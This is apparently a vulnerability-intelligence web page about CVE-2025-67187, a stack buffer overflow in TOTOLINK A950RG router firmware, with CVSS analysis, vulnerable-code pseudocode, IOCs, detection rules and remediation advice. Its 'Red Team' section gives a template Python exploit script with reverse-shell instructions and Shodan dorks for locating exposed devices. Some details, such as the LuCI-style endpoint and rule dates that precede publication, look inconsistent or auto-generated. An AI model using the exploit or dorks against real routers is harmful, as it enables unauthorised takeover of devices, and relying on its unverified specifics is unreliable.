☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Totolink logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-121
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-67187

CVE-2025-67187 Stack Buffer Overflow in Totolink
📅 PUBLISHED: 2026-02-03 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.39%
👁️
0.39% probability
9.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Commercial
VULNERABLE: 4.1.2cu.5204_B20210112
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-67187 is a critical stack-based buffer overflow vulnerability discovered in the TOTOLINK A950RG router, specifically in firmware version 4.1.2cu.5204_B20210112. The flaw resides in the setIpQosRules interface within /lib/cste_modules/firewall.so. The comment parameter is not properly validated for length, allowing an attacker to overflow a stack buffer and achieve arbitrary code execution. This vulnerability is remotely exploitable without authentication, making it a severe threat to network security. No official patch has been released, and proof-of-concept (PoC) code is publicly available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Vulnerability affects only the router.
  • Confidentiality Impact: High (C:H) – Full device compromise.
  • Integrity Impact: High (I:H) – Attacker can modify firmware or data.
  • Availability Impact: High (A:H) – Denial of service possible.

Threat Level: Critical. The vulnerability is trivial to exploit and can lead to full device takeover, enabling lateral movement within the network.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the setIpQosRules function of the firewall.so module. The function copies the user-supplied comment parameter into a fixed-size stack buffer without checking its length. When the input exceeds the buffer size, it overwrites adjacent stack memory, including the return address.

Technical Details:

  • Vulnerable Function: setIpQosRules in /lib/cste_modules/firewall.so
  • Vulnerable Parameter: comment
  • Buffer Size: Approximately 256 bytes (estimated from reverse engineering)
  • Overflow Mechanism: strcpy or similar unsafe function copies user input into a stack buffer.
  • Exploitation: By sending a crafted HTTP POST request to the router's web interface with an overly long comment parameter, an attacker can overwrite the return address and redirect execution to shellcode.

Attack Flow:

  1. Attacker sends a POST request to /cgi-bin/luci/;stok=/locale or similar endpoint.
  2. The request includes a comment parameter with a payload exceeding the buffer size.
  3. The payload overwrites the stack, including the return address.
  4. Upon function return, execution jumps to attacker-controlled shellcode.
  5. Shellcode executes, providing a reverse shell or other malicious actions.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a simplified representation of the vulnerable function:

Vulnerable Code (pseudo-C):

void setIpQosRules(struct request *req) {
    char buffer[256];
    char *comment = get_param(req, "comment");
    // No length check
    strcpy(buffer, comment);
    // Process buffer...
}

Patched Code (hypothetical):

void setIpQosRules(struct request *req) {
    char buffer[256];
    char *comment = get_param(req, "comment");
    // Safe copy with length limit
    strncpy(buffer, comment, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // Process buffer...
}

The patched version uses strncpy to limit the copy length, preventing overflow.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • TOTOLINK A950RG router with firmware 4.1.2cu.5204_B20210112
  • Network access to the router's web interface (default IP: 192.168.0.1)
  • Python 3 with requests library

Exploit Script (Python):

import requests
import struct

target_ip = "192.168.0.1"
# Shellcode placeholder (e.g., reverse shell)
shellcode = b"\x90" * 100  # NOP sled + actual shellcode

# Overflow offset to return address (adjust based on reverse engineering)
offset = 256 + 8  # buffer + saved frame pointer
payload = b"A" * offset + struct.pack("<I", 0xdeadbeef)  # overwrite return address

# HTTP POST request
url = f"http://{target_ip}/cgi-bin/luci/;stok=/locale"
data = {"comment": payload + shellcode}
try:
    r = requests.post(url, data=data, timeout=5)
    print("Exploit sent")
except Exception as e:
    print(f"Error: {e}")

Usage:

  1. Replace shellcode with actual shellcode (e.g., Metasploit linux/mipsle/shell_reverse_tcp).
  2. Adjust the offset and return address based on your router's firmware.
  3. Run the script. If successful, you will receive a reverse shell.

Blue Team (Detection & Defense)

Detection:

  • Monitor for HTTP POST requests with excessively long comment parameters.
  • Look for anomalous patterns in router logs (e.g., crashes, unexpected reboots).
  • Use network intrusion detection systems (NIDS) to flag oversized payloads.

Defense:

  • Isolate the router on a separate VLAN.
  • Disable remote management if not needed.
  • Apply virtual patching via a web application firewall (WAF) to block long comment parameters.
  • Monitor for firmware updates from TOTOLINK.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP POST requests to /cgi-bin/luci/;stok=/locale with comment parameter > 256 bytes.
    • Outbound connections from the router to unknown IPs on high ports (e.g., 4444).
    • Unusual DNS queries from the router.
  • Host IOCs:

    • Router logs showing segmentation faults or crashes.
    • Modified firmware or unexpected processes running.
    • Presence of shellcode in memory (detectable via memory forensics).
  • File IOCs:

    • /lib/cste_modules/firewall.so with unexpected modifications.
    • New files in /tmp or /var directories.

Detection Engineering

YARA Rule

rule CVE_2025_67187_TOTOLINK_Overflow {
    meta:
        description = "Detects exploit attempts for CVE-2025-67187 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67187"
    strings:
        $http_post = "POST /cgi-bin/luci/;stok=/locale" ascii
        $comment_param = "comment=" ascii
        $long_string = /comment=[A-Za-z0-9%]{300,}/ ascii
    condition:
        $http_post and $comment_param and $long_string
}

Sigma Rule

title: TOTOLINK A950RG Buffer Overflow Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests with overly long comment parameter targeting TOTOLINK A950RG
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/luci/;stok=/locale'
        cs-uri-query|contains: 'comment='
        cs-uri-query|length: >= 300
    condition: selection
falsepositives:
    - Legitimate long comments (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-67187 TOTOLINK A950RG Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/luci/;stok=/locale"; http_uri;
    content:"comment="; http_client_body;
    pcre:"/comment=[A-Za-z0-9%]{300,}/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2025-67187;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the device: Place the TOTOLINK A950RG on a separate VLAN with restricted access.
  2. Disable remote management: Turn off WAN-side administration.
  3. Apply virtual patching: Use a WAF or IPS to block requests with comment parameters exceeding 256 bytes.
  4. Monitor logs: Enable logging and review for exploitation attempts.

Long-Term Fix:

  • Firmware update: Await an official patch from TOTOLINK. If none is released, consider replacing the router with a supported model.
  • Network segmentation: Implement strict firewall rules to limit exposure.
  • Regular audits: Periodically check for firmware updates and apply them promptly.

Workaround:

  • If patching is not possible, block HTTP POST requests to /cgi-bin/luci/;stok=/locale at the network perimeter.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"TOTOLINK A950RG"
http.html:"TOTOLINK A950RG"
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-67187/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.